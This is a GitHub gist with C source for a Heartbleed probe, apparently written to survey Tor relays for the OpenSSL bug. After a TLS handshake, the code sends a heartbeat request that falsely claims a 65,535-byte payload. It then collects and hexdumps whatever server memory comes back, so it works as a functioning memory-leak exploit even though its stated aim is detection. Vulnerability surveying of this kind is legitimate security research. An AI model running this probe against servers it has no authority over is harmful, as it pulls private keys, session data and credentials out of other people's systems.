Skip to content

Instantly share code, notes, and snippets.

@cappert
Created April 11, 2014 07:52
Show Gist options
  • Select an option

  • Save cappert/10447956 to your computer and use it in GitHub Desktop.

Select an option

Save cappert/10447956 to your computer and use it in GitHub Desktop.
/*
* Author: Andrea Shepard <[email protected]>
* Date: 2014-04-10
*
* Written as probe component of a larger tool to survey for Tor nodes
* vulnerable to Heartbleed; since we actually use OpenSSL it works correctly
* in unusual handshake cases like prompting for client certs, unlike that python
* script that initially circulated, and the async I/O gives us good control
* about timeouts so we can be patient and have a low probability of false
* negatives.
*
* TODO: while we have the connection open, do enough of a Tor handshake to
* check the remote end's identity digest too.
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <time.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#define HB_PROBE_SSL_HANDSHAKE_TIMEOUT 120
#define HB_PROBE_HEARTBEAT_SEND_TIMEOUT 120
#define HB_PROBE_HEARTBEAT_RESPONSE_TIMEOUT 120
typedef struct {
char *host;
char *addr;
uint16_t port;
int resolved:1;
int got_connection:1;
int got_ssl:1;
int has_heartbeats:1;
int has_heartbleed:1;
int is_safe:1;
int probe_error:1;
int got_response:1;
void *hb_results;
/* The actual size of the payload received */
size_t hb_results_len;
/* The payload size field from the response message */
unsigned int hb_payload_len;
uint16_t leak_requested;
} probe_results_t;
typedef struct {
/* The descriptor */
int sock;
/* SSL */
SSL *ssl;
/* Can/want read/write flags */
int can_read:1;
int wants_read:1;
int can_write:1;
int wants_write:1;
/* Set the break flag from places like callbacks to stop trying */
int break_flag:1;
/* Timeout stuff */
struct timespec op_start_time;
int timeout;
/* Flags back to user */
int timeout_flag:1;
int giveup_flag:1;
int done_flag:1;
/* SSL error code if giveup_flag is set */
int ssl_err;
} nbio_status_t;
typedef struct {
probe_results_t *pr;
nbio_status_t *ns;
int verbose;
} callback_info_t;
static void clear_probe_results(probe_results_t *pr);
static void do_tor_heartbleed_probe(const char *host, uint16_t port,
int verbose);
static void emit_probe_results(probe_results_t *pr);
static int get_socket_for_probe(const char *host, uint16_t port,
int verbose, probe_results_t *pr);
static void hexdump(const uint8_t *buf, size_t len);
int main(int argc, char **argv, char **envp);
static void nbio_status_reset(nbio_status_t *n, int timeout);
static int nbio_handle_ssl_result(nbio_status_t *n, int res);
static void probe_an_ssl(SSL *ssl, int verbose, probe_results_t *pr,
nbio_status_t *ns);
static void probe_cb(int write_p, int version, int content_type,
const void *buf, size_t len, SSL *ssl, void *arg);
static void probe_for_heartbleed(SSL *ssl, int verbose,
probe_results_t *pr,
nbio_status_t *ns);
static void clear_probe_results(probe_results_t *pr) {
if (!pr) return;
if (pr->host) free(pr->host);
if (pr->addr) free(pr->addr);
if (pr->hb_results) free(pr->hb_results);
memset(pr, 0, sizeof(*pr));
}
static void do_tor_heartbleed_probe(const char *host, uint16_t port,
int verbose) {
int sock = -1, res, nres, err;
unsigned long ossl_err;
BIO *bio = NULL;
SSL_CTX *ssl_ctx = NULL;
SSL *ssl = NULL;
nbio_status_t ns;
probe_results_t pr;
/* Clear results */
memset(&pr, 0, sizeof(pr));
sock = get_socket_for_probe(host, port, verbose, &pr);
if (sock >= 0) {
/* Put it in non-blocking mode */
res = fcntl(sock, F_SETFL, (long)(O_NONBLOCK));
if (res == 0) {
/* Okay, now get a BIO for it */
bio = BIO_new_socket(sock, 0);
if (bio) {
ssl_ctx = SSL_CTX_new(SSLv23_client_method());
if (ssl_ctx) {
ssl = SSL_new(ssl_ctx);
if (ssl) {
SSL_set_bio(ssl, bio, bio);
/* We can now null bio so we don't double-free */
bio = NULL;
/* Set up the nbio stuff */
ns.sock = sock;
ns.ssl = ssl;
nbio_status_reset(&ns, HB_PROBE_SSL_HANDSHAKE_TIMEOUT);
/* Try to handshake now */
do {
res = SSL_connect(ssl);
nres = nbio_handle_ssl_result(&ns, res);
} while(nres);
if (ns.done_flag) {
/* Got one! */
if (verbose) {
printf("SSL handshake successful\n");
}
pr.got_ssl = 1;
probe_an_ssl(ssl, verbose, &pr, &ns);
nbio_status_reset(&ns, HB_PROBE_SSL_HANDSHAKE_TIMEOUT);
do {
res = SSL_shutdown(ssl);
nres = nbio_handle_ssl_result(&ns, res);
} while (nres);
/* Don't bother dealing with errors from SSL_shutdown() */
} else {
if (ns.giveup_flag) {
if (ns.ssl_err != 0) {
err = SSL_get_error(ssl, res);
fprintf(stderr, "SSL error handshaking: %d\n", err);
while (ossl_err = ERR_get_error()) {
fprintf(stderr, "SSL error queue: %s\n",
ERR_error_string(ossl_err, NULL));
}
} else {
fprintf(stderr,
"Giving up on handshake without known "
"SSL error\n");
}
} else if (ns.timeout_flag) {
fprintf(stderr, "Handshake timed out\n");
}
pr.probe_error = 1;
}
SSL_free(ssl);
} else {
fprintf(stderr, "Failed to get an SSL\n");
pr.probe_error = 1;
}
SSL_CTX_free(ssl_ctx);
} else {
fprintf(stderr, "Failed to get an SSL_CTX\n");
pr.probe_error = 1;
}
if (bio) {
BIO_free(bio);
bio = NULL;
}
} else {
fprintf(stderr, "Failed to get BIO for socket\n");
pr.probe_error = 1;
}
} else{
fprintf(stderr, "Failed to put socket in non-blocking mode\n");
pr.probe_error = 1;
}
close(sock);
} else {
fprintf(stderr, "Failed to get socket to %s:%u\n", host, port);
pr.probe_error = 1;
}
/* Emit results and free */
if (verbose && pr.hb_results_len >= 19 && pr.hb_results != NULL) {
if (pr.hb_results_len > 19) {
printf("Final heartbleed results are, excluding padding and header:\n");
hexdump((uint8_t *)pr.hb_results + 3, pr.hb_results_len - 19);
}
printf("The server's random padding is:\n");
hexdump((uint8_t *)pr.hb_results + pr.hb_results_len - 16, 16);
}
emit_probe_results(&pr);
clear_probe_results(&pr);
}
static void emit_probe_results(probe_results_t *pr) {
if (!pr) return;
if (!(pr->probe_error)) {
/* Decide if we're safe */
if (pr->got_response && pr->hb_results_len > 2) {
/* Heartbleed-type leak; we only sent 2 bytes */
pr->is_safe = 0;
pr->has_heartbleed = 1;
} else {
/* We got a response that didn't leak, or got no response */
pr->is_safe = 1;
pr->has_heartbleed = 0;
}
}
/*
* else various error conditions - we can't conclude is_safe or
* has_heartbleed
*/
/* Emit probe success status */
printf(pr->probe_error ? "1|" : "0|");
/* Emit hostname/addr/port */
if (pr->host) printf("%s|", pr->host);
else printf("|");
if (pr->addr) printf("%s|", pr->addr);
else printf("|");
printf("%hu|", pr->port);
/* Emit resolution/connection/ssl handshake success bits */
printf(pr->resolved ? "1|" : "0|");
printf(pr->got_connection ? "1|" : "0|");
printf(pr->got_ssl ? "1|" : "0|");
/* Does it say it has heartbeats? */
printf(pr->has_heartbeats ? "1|" : "0|");
/* Did we get a response to a heartbeat request? */
printf(pr->got_response ? "1|" : "0|");
if (pr->got_response) {
/* Actual size received */
printf("%u|", pr->hb_results_len);
/* Payload length field value received */
printf("%hu|", pr->hb_payload_len);
} else {
printf("||");
}
/* These should never be both true, but can be both false in error cases */
/* Does it have the heartbleed bug? */
printf(pr->has_heartbleed ? "1|" : "0|");
/* Do we think it's safe? */
printf(pr->is_safe ? "1\n" : "0\n");
}
static int get_socket_for_probe(const char *host, uint16_t port,
int verbose, probe_results_t *pr) {
struct addrinfo gai_hints;
struct addrinfo *gai_res = NULL, *gai_ptr;
int res, sock = -1, attempts;
char buf[INET_ADDRSTRLEN+INET6_ADDRSTRLEN+1];
const void *addr = NULL;
/* Set up probe results host and port fields */
pr->host = strdup(host);
pr->port = port;
/* First, resolve it using getaddrinfo() */
memset(&gai_hints, 0, sizeof(gai_hints));
gai_hints.ai_family = AF_UNSPEC; /* Either IPv4 or v6 acceptable */
gai_hints.ai_socktype = SOCK_STREAM;
gai_hints.ai_protocol = 0;
/* Only bother with the ones we can try to use */
gai_hints.ai_flags = AI_ADDRCONFIG;
res = getaddrinfo(host, NULL, &gai_hints, &gai_res);
if (res != 0) {
fprintf(stderr, "Failed to resolve host \"%s\": %s\n",
host, gai_strerror(res));
goto done;
}
if (gai_res) {
pr->resolved = 1;
gai_ptr = gai_res;
attempts = 0;
while (gai_ptr) {
/* Try this one */
if (gai_ptr->ai_socktype == SOCK_STREAM &&
(gai_ptr->ai_family == AF_INET ||
gai_ptr->ai_family == AF_INET6)) {
sock = socket(gai_ptr->ai_family, SOCK_STREAM, 0);
if (sock >= 0) {
++attempts;
/* Set the port and if we're verbose emit a message */
if (gai_ptr->ai_family == AF_INET) {
((struct sockaddr_in *)(gai_ptr->ai_addr))->sin_port =
htons(port);
addr = &(((struct sockaddr_in *)(gai_ptr->ai_addr))->sin_addr);
} else {
/* Must be AF_INET6 */
((struct sockaddr_in6 *)(gai_ptr->ai_addr))->sin6_port =
htons(port);
addr = &(((struct sockaddr_in6 *)(gai_ptr->ai_addr))->sin6_addr);
}
strncpy(buf, "(unknown)", INET_ADDRSTRLEN+INET6_ADDRSTRLEN);
inet_ntop(gai_ptr->ai_family, addr, buf,
INET_ADDRSTRLEN+INET6_ADDRSTRLEN);
if (verbose) {
printf("Trying %s... ", buf);
}
/* Update pr->addr */
if (pr->addr) {
free(pr->addr);
}
pr->addr = strdup(buf);
res = connect(sock, gai_ptr->ai_addr, gai_ptr->ai_addrlen);
if (res == 0) {
/* Got it */
if (verbose) {
printf("got it!\n");
}
pr->got_connection = 1;
/* break out of the loop with sock */
break;
} else {
/* Failed */
if (verbose) {
printf("failed: %s\n", strerror(errno));
}
close(sock);
sock = -1;
}
}
/* else nothing to do, must not have this address family */
} else {
fprintf(stderr,
"Skipping result from getaddrinfo() with unknown "
"ai_socktype == %d or ai_family == %d\n",
gai_ptr->ai_socktype, gai_ptr->ai_family);
}
/* If we're still here, no luck */
gai_ptr = gai_ptr->ai_next;
}
if (sock < 0) {
if (attempts > 0) {
fprintf(stderr, "Couldn't connect to \"%s\" on any address\n", host);
} else {
fprintf(stderr,
"Couldn't use any resolved addresses for host \"%s\"\n",
host);
}
}
} else {
fprintf(stderr, "getaddrinfo() succeeded but returned no results\n");
goto done;
}
done:
if (gai_res) freeaddrinfo(gai_res);
return sock;
}
static void hexdump(const uint8_t *buf, size_t len) {
size_t off;
int i;
/* Dump 16 bytes per line */
for (off = 0; off < len; off += 16) {
/* Start with the offset */
printf(" %08x ", off);
/* Now the hex bytes */
for (i = 0; i < 16; ++i) {
if (off + i < len) printf("%02x ", buf[off+i]);
else printf(" ");
}
/* Now ASCII for the printables */
for (i = 0; i < 16 && off + i < len; ++i) {
if (isprint((char)(buf[off + i]))) putchar(buf[off + i]);
else putchar('.');
}
/* Newline */
putchar('\n');
}
}
int main(int argc, char **argv, char **envp) {
int verbose_mode = 0, result, rv = 0;
char *host_arg = NULL, *port_arg = NULL;
uint16_t port = 0;
/* Set up OpenSSL */
SSL_load_error_strings();
SSL_library_init();
if (argc == 3 || argc == 4) {
/* Pick out the host/port; we have room for one flag */
if (argc == 3) {
host_arg = argv[1];
port_arg = argv[2];
} else {
host_arg = argv[2];
port_arg = argv[3];
if (strcmp(argv[1], "-v") == 0) {
verbose_mode = 1;
} else {
fprintf(stderr, "Ignoring unknown option \"%s\"\n", argv[1]);
}
}
if (host_arg && port_arg) {
result = sscanf(port_arg, "%hu", &port);
if (result == 1) {
if (strlen(host_arg) > 0) {
do_tor_heartbleed_probe(host_arg, port, verbose_mode);
} else {
fprintf(stderr, "Empty host makes no sense\n");
rv = 1;
}
} else {
fprintf(stderr, "Couldn't parse port \"%s\"\n", port_arg);
rv = 1;
}
} else {
fprintf(stderr, "Option parsing error\n");
rv = 1;
}
} else {
fprintf(stderr, "Wrong number of args\n");
rv = 1;
}
return rv;
}
static void nbio_status_reset(nbio_status_t *n, int timeout) {
int res;
if (!n || timeout < 0) return;
n->can_read = n->wants_read = 0;
n->can_write = n->wants_write = 0;
n->break_flag = 0;
n->timeout = timeout;
if (n->timeout > 0) {
res = clock_gettime(CLOCK_MONOTONIC, &(n->op_start_time));
if (res != 0) {
fprintf(stderr,
"clock_gettime() failed: %s; timeout won't work\n",
strerror(errno));
n->timeout = 0;
}
}
n->timeout_flag = n->giveup_flag = n->done_flag = 0;
}
static int nbio_handle_ssl_result(nbio_status_t *n, int res) {
int err, r, no_timeout = 0;
struct timespec now;
struct timeval tm;
fd_set rfds, wfds;
/* Don't tell the caller to retry if they failed at calling us */
if (!n) return 0;
if (res >= 0) {
/* The operation succeeded or failed for protocol reasons */
if (res > 0) n->done_flag = 1;
else n->giveup_flag = 1;
/* Don't try again */
return 0;
}
/*
* Okay, we had an error return that might be a real error or we
* might want reads/writes. Check the error queue.
*/
err = SSL_get_error(n->ssl, res);
switch (err) {
case SSL_ERROR_NONE:
/* The operation succeeded */
n->done_flag = 1;
n->giveup_flag = 0;
n->wants_read = n->wants_write = 0;
/* Don't retry */
return 0;
case SSL_ERROR_ZERO_RETURN:
/* The connection got closed */
n->done_flag = 0;
n->giveup_flag = 1;
n->wants_read = n->wants_write = 0;
/* Don't retry */
return 0;
case SSL_ERROR_WANT_READ:
/* We need a read */
n->done_flag = n->giveup_flag = 0;
n->can_read = 0;
n->wants_read = 1;
break;
case SSL_ERROR_WANT_WRITE:
/* We want a write */
n->done_flag = n->giveup_flag = 0;
n->can_write = 0;
n->wants_write = 1;
break;
default:
/* We got some other error that we can't recover from */
n->done_flag = 0;
n->giveup_flag = 1;
n->wants_read = n->wants_write = 0;
}
while (!(n->timeout_flag || n->done_flag || n->giveup_flag ||
n->break_flag) &&
((n->wants_read && !(n->can_read)) ||
(n->wants_write && !(n->can_write)))) {
/* Check for timeout if necessary */
if (!no_timeout && n->timeout > 0 && !(n->timeout_flag)) {
r = clock_gettime(CLOCK_MONOTONIC, &now);
if (r == 0) {
/* Subtract the op start time */
if (now.tv_sec >= n->op_start_time.tv_sec) {
now.tv_sec -= n->op_start_time.tv_sec;
if (now.tv_nsec >= n->op_start_time.tv_nsec) {
now.tv_nsec -= n->op_start_time.tv_nsec;
} else {
if (now.tv_sec > 0) {
--(now.tv_sec);
now.tv_nsec = 1000000000L + now.tv_nsec -
n->op_start_time.tv_nsec;
} else {
fprintf(stderr, "CLOCK_MONOTONIC isn't monotonic!\n");
no_timeout = 1;
}
}
if (!no_timeout) {
if (now.tv_sec >= n->timeout) {
fprintf(stderr, "Timeout detected\n");
n->timeout_flag = 1;
return 0;
} else {
/* Calculate remaining time for select() */
tm.tv_sec = n->timeout - now.tv_sec;
if (now.tv_nsec > 1000) {
--(tm.tv_sec);
tm.tv_usec = (1000000L - (now.tv_nsec / 1000));
}
}
}
} else {
fprintf(stderr, "CLOCK_MONOTONIC isn't monotonic!\n");
no_timeout = 1;
}
} else {
fprintf(stderr,
"clock_gettime() failed: %s; timeout check might wrongly hang\n",
strerror(errno));
no_timeout = 1;
}
} else no_timeout = 1;
/* No timeout, so set up our select() */
FD_ZERO(&rfds);
FD_ZERO(&wfds);
if (n->wants_read && !(n->can_read)) FD_SET(n->sock, &rfds);
if (n->wants_write && !(n->can_write)) FD_SET(n->sock, &wfds);
r = select(n->sock + 1, &rfds, &wfds, NULL, no_timeout ? NULL : &tm);
if (r > 0) {
if (FD_ISSET(n->sock, &rfds)) n->can_read = 1;
if (FD_ISSET(n->sock, &wfds)) n->can_write = 1;
/* Loop through again unless we have all we want */
} else if (r == 0) {
/* Timeout */
n->timeout_flag = 1;
return 0;
} else {
/* select() error */
fprintf(stderr, "Error return from select(): %s\n", strerror(errno));
n->giveup_flag = 1;
return 0;
}
}
/* Wooo, we're done! */
if (n->done_flag || n->giveup_flag || n->timeout_flag || n->break_flag) {
return 0;
}
/* else retry */
else {
return 1;
}
}
static void probe_an_ssl(SSL *ssl, int verbose, probe_results_t *pr,
nbio_status_t *ns) {
/*
* We have an SSL session!
*
* Two objectives now:
* 1.) Find out if it's vulnerable to Heartbleed
* 2.) Get its Tor identity key
*/
/* TODO Tor identity digest check */
probe_for_heartbleed(ssl, verbose, pr, ns);
}
static void probe_cb(int write_p, int version, int content_type,
const void *buf, size_t len, SSL *ssl, void *arg) {
callback_info_t *cbinfo = (callback_info_t *)(arg);
unsigned short hbtype;
unsigned int payload_len, heartbleed = 0;
const uint8_t *p;
void *v;
if (write_p != 0 || cbinfo == NULL || buf == NULL ||
len == 0 || ssl == NULL ) {
return;
}
/*
* So, we have write_p == 0, so this is a message received.
* Heartbeat messages should have type 24
*/
if (content_type != 24) {
if (cbinfo->verbose) {
printf("Skipping non-heartbeat message type %d of length %d\n",
content_type, len);
}
return;
}
if (cbinfo->verbose) {
printf("Got a heartbeat message of length %d\n", len);
}
if (!(cbinfo->pr->got_response)) {
/* First one - dump it and start parsing it */
if (cbinfo->verbose) {
printf("Initial heartbeat response is:\n");
hexdump(buf, len);
}
p = (const uint8_t *)buf;
/* The first byte is a heartbeat type (request or response) */
if (len < 1) {
if (cbinfo->verbose) {
printf("Ignoring short first heartbeat message with no hbtype\n");
}
return;
}
hbtype = *p++;
if (hbtype != 2) {
/* It's not a response */
if (cbinfo->verbose) {
printf("This one isn't a response, though (hbtype == %d)\n", hbtype);
}
return;
}
/* Next we should have a payload length */
if (len < 3) {
if (cbinfo->verbose) {
printf("Ignoring short first heartbeat message with no payload length\n");
}
return;
}
payload_len = 0;
payload_len |= (*p++ & 0xff) << 8;
payload_len |= (*p++ & 0xff);
if (cbinfo->verbose) {
printf("Got a first heartbeat response message of length %d with "
"payload length field %u\n", len, payload_len);
}
/* We haven't got one already, so save it */
cbinfo->pr->got_response = 1;
cbinfo->pr->hb_payload_len = payload_len;
cbinfo->pr->hb_results_len = len;
if (cbinfo->pr->hb_results_len > 0) {
cbinfo->pr->hb_results = malloc(cbinfo->pr->hb_results_len);
if (cbinfo->pr->hb_results) {
memcpy(cbinfo->pr->hb_results, buf, cbinfo->pr->hb_results_len);
} else {
fprintf(stderr, "malloc failed saving hb result\n");
cbinfo->ns->break_flag = 1;
cbinfo->pr->probe_error = 1;
}
} else {
cbinfo->pr->hb_results = NULL;
}
if (cbinfo->verbose) {
printf("Saved first heartbeat response\n");
}
if (len > 19) {
/*
* We only sent a 2-byte sequence number, so if we got more than
* that back (including 3 bytes of hbtype/payload and 16 of padding),
* we win
*/
heartbleed = 1;
if (cbinfo->verbose) {
printf("Got %d bytes back, more than the 2 bytes we sent plus "
"overhead: looks like Heartbleed is here\n",
len - 3);
}
}
/*
* If we have as much response as requested plus expected overhead,
* tell the loop it can stop.
*/
if (cbinfo->pr->hb_results_len >= cbinfo->pr->leak_requested + 19) {
cbinfo->ns->break_flag = 1;
}
} else {
/*
* This is a subsequent response; we can potentially get up to
* cbinfo->leak_requested + 19 bytes of responses; the first three
* bytes are the heartbeat response byte and the payload length, and
* the last 16 are PRNG output.
*/
if (cbinfo->pr->hb_results_len < cbinfo->pr->leak_requested + 19) {
if (cbinfo->verbose) {
printf("Got %d bytes of additional heartbeat response\n", len);
hexdump(buf, len);
}
if (cbinfo->pr->hb_results_len > 0 &&
cbinfo->pr->hb_results != NULL) {
if (len > 0) {
v = realloc(cbinfo->pr->hb_results,
cbinfo->pr->hb_results_len + len);
if (v) {
cbinfo->pr->hb_results = v;
memcpy((uint8_t *)(cbinfo->pr->hb_results) +
cbinfo->pr->hb_results_len, buf, len);
cbinfo->pr->hb_results_len += len;
} else {
fprintf(stderr, "realloc failed saving hb result\n");
cbinfo->ns->break_flag = 1;
cbinfo->pr->probe_error = 1;
/* Free the truncated buffer */
free(cbinfo->pr->hb_results);
cbinfo->pr->hb_results = NULL;
/* Increment the length counter though, so we know how much */
cbinfo->pr->hb_results_len += len;
}
}
} else {
fprintf(stderr,
"Not saving additional hb response due to previous error\n");
cbinfo->ns->break_flag = 1;
cbinfo->pr->probe_error = 1;
/* Increment the length counter though, so we know how much */
cbinfo->pr->hb_results_len += len;
}
} else {
/* Really extra heartbeat response */
if (cbinfo->verbose) {
printf("Got %d of unexpected extra heartbeat\n", len);
hexdump(buf, len);
}
}
}
/*
* If we have as much response as requested plus expected overhead,
* tell the loop it can stop.
*/
if (cbinfo->pr->hb_results_len >= cbinfo->pr->leak_requested + 19) {
if (cbinfo->verbose) {
printf("Got all the responses we expect, not waiting any more\n");
}
cbinfo->ns->break_flag = 1;
}
}
static void probe_for_heartbleed(SSL *ssl, int verbose,
probe_results_t *pr,
nbio_status_t *ns) {
uint8_t buf[5];
int r, err, nres;
unsigned long ossl_err;
callback_info_t cbinfo;
/* Is there heartbeat support? */
if (ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED) {
if (verbose) {
printf("Peer supports heartbeats\n");
}
pr->has_heartbeats = 1;
} else if (verbose) {
printf("Peer does not support the heartbeat extension\n");
}
/* Try heartbleed probe anyway, just in case... */
/* Install our callback */
cbinfo.pr = pr;
cbinfo.verbose = verbose;
cbinfo.ns = ns;
pr->leak_requested = 0xffff;
SSL_set_msg_callback_arg(ssl, &cbinfo);
SSL_set_msg_callback(ssl, probe_cb);
if (verbose) printf("Callback installed\n");
/* Message type */
buf[0] = TLS1_HB_REQUEST;
/* Lie about the payload length to tickle heartbleed */
buf[1] = (pr->leak_requested >> 8) & 0xff;
buf[2] = (pr->leak_requested & 0xff);
/* Sequence */
buf[3] = (ssl->tlsext_hb_seq >> 8) & 0xff;
buf[4] = ssl->tlsext_hb_seq & 0xff;
nbio_status_reset(ns, HB_PROBE_HEARTBEAT_SEND_TIMEOUT);
do {
r = ssl3_write_bytes(ssl, TLS1_RT_HEARTBEAT, buf, 5);
nres = nbio_handle_ssl_result(ns, r);
} while (nres);
if (ns->done_flag) {
if (verbose) {
printf("Sent heartbeat request\n");
}
/* Wait for a callback by just reading and throwing results away */
nbio_status_reset(ns, HB_PROBE_HEARTBEAT_RESPONSE_TIMEOUT);
while (!(ns->timeout_flag || ns->break_flag)) {
do {
r = SSL_read(ssl, buf, 1);
nres = nbio_handle_ssl_result(ns, r);
} while (nres && !(ns->break_flag));
if (ns->timeout_flag) {
if (verbose) {
printf("Timeout expired without seeing a heartbeat response\n");
}
/*
* It's important that a timeout is not a probe_error; the other end
* could just be ignoring heartbeats, and we try sending them anyway
* even if OpenSSL thinks it won't accept them.
*/
}
else if (ns->done_flag) {
/* We don't want to reset the timeout too */
ns->done_flag = 0;
ns->giveup_flag = 0;
ns->can_read = ns->wants_read = 0;
ns->can_write = ns->wants_write = 0;
ns->ssl_err = 0;
}
else if (ns->giveup_flag) {
if (ns->ssl_err != 0) {
err = SSL_get_error(ssl, r);
fprintf(stderr, "SSL error waiting for heartbeat response: %d\n", err);
while (ossl_err = ERR_get_error()) {
fprintf(stderr, "SSL error queue: %s\n",
ERR_error_string(ossl_err, NULL));
}
} else {
fprintf(stderr,
"Giving up on waiting for heartbeat response without known "
"SSL error\n");
}
/* Make sure we record the error so this isn't a false negative */
pr->probe_error = 1;
break;
}
}
} else {
if (ns->giveup_flag) {
if (ns->ssl_err != 0) {
err = SSL_get_error(ssl, r);
fprintf(stderr, "SSL error sending heartbeat request: %d\n", err);
while (ossl_err = ERR_get_error()) {
fprintf(stderr, "SSL error queue: %s\n",
ERR_error_string(ossl_err, NULL));
}
} else {
fprintf(stderr,
"Giving up on sending heartbeat request without known "
"SSL error\n");
}
} else if (ns->timeout_flag) {
fprintf(stderr, "Sending heartbeat request timed out\n");
}
pr->probe_error = 1;
}
/* Remove callback handler */
SSL_set_msg_callback(ssl, NULL);
SSL_set_msg_callback_arg(ssl, NULL);
if (verbose) printf("Callback removed\n");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment